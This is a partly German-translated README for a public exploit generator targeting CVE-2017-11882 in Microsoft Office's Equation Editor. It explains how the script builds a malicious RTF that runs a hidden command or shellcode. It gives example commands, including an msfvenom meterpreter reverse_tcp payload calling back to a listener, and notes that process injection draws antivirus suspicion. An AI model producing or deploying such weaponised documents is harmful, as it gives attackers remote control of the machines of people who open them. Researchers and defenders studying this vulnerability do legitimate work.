
CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.
Der CVE-2017-11882 Exploit akzeptiert maximal über 17k Bytes lange Befehle/Codes.
Für die remote Befehlsausführung ruft dieser Exploit WinExec mit SW_HIDE auf und ExitProcess nachdem WinExec zurückgekehrt ist.
Für die remote Codeausführung springt dieser Exploit einfach zum Code.
Ich konnte keinen Referenzpunkt für die Objektstruktur finden … daher kann ich die Dateilänge nicht für eine willkürliche Codelängenausführung ändern … :(
Aber ich denke wirklich, dass 17k Bytes ausreichen. Das Python-Skript erkennt die benötigte Payload-Größe und wählt die entsprechende Payload-Vorlage aus.
Achtung: RCE friert den winword-Prozess ein, wenn Sie nicht zu einem anderen Prozess migrieren!
Derzeit injiziert dieser Exploit Ihren Shellcode in einen neuen EQNEDT32.EXE-Prozess, wenn Sie das -i-Flag angeben. Dieser Vorgang ist für AV verdächtig, friert aber den Word-Prozess nicht ein.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit für CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet
-c CMD, --cmd CMD Befehl oder Shellcode-Datei, die im Zielsystem ausgeführt werden soll
(Muss kürzer als 17967 Bytes sein!!)
-t {0,1}, --type {0,1}
Typ (0:Shellcode 1:Befehl, Standard=1)
-i INJECT, --inject INJECT
Shellcode in neuen Prozess injizieren
-o OUTPUT, --output OUTPUT
Ausgabe-Exploit rtf
Beispiel:
Für remote Befehlsausführung
CVE-2017-11882.py -c cmd.exe -o test.rtf
Für remote Codeausführung
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Setzen Sie den Debugger-Wert auf Ihren Debugger-Pfad in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Erstellen Sie einen Exploit und führen Sie ihn aus.
Setzen Sie einen Haltepunkt bei 0x41165f
Dieser Haltepunkt wird zweimal getroffen, beim zweiten Mal wird die Payload ausgeführt, nachdem diese Funktion zurückgekehrt ist.